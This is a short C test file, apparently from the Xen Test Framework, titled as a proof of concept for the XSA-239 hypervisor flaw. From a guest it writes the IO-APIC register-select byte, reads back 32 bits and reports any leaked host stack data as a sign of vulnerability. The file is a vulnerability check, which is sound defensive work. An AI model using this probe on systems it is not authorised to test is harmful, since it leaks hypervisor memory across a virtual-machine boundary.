main.c

Go to the documentation of this file.

#include <xtf.h>

const char test_title[] = "XSA-239 PoC";

void test_main(void)
{
    uint32_t *io_apic_32 = _p(IOAPIC_DEFAULT_BASE);
    uint8_t  *io_apic_8 =  _p(IOAPIC_DEFAULT_BASE);
    unsigned int i;

    /*
     * Retry several times.  It is plausible that the stack rubble happens to
     * be zeroes.
     */
    for ( i = 0; i < 20; ++i )
    {
        ACCESS_ONCE(io_apic_8[0]) = 0;

        uint32_t val = ACCESS_ONCE(io_apic_32[0]);

        /*
         * Cope with an IOAPIC not being present, and the IO being terminated
         * as ~0u by the default no-op handler.
         */
        if ( val != 0 && val != ~0u )
        {
            printk("Data leaked via IO_APIC REG_SELECT: %08x\n", val);
            return xtf_failure("Fail: Vulnerable to XSA-239\n");
        }

        hypercall_yield();
    }

    xtf_success("Success: Probably not vulnerable to XSA-239\n");
}

/*
 * Local variables:
 * mode: C
 * c-file-style: "BSD"
 * c-basic-offset: 4
 * tab-width: 4
 * indent-tabs-mode: nil
 * End:
 */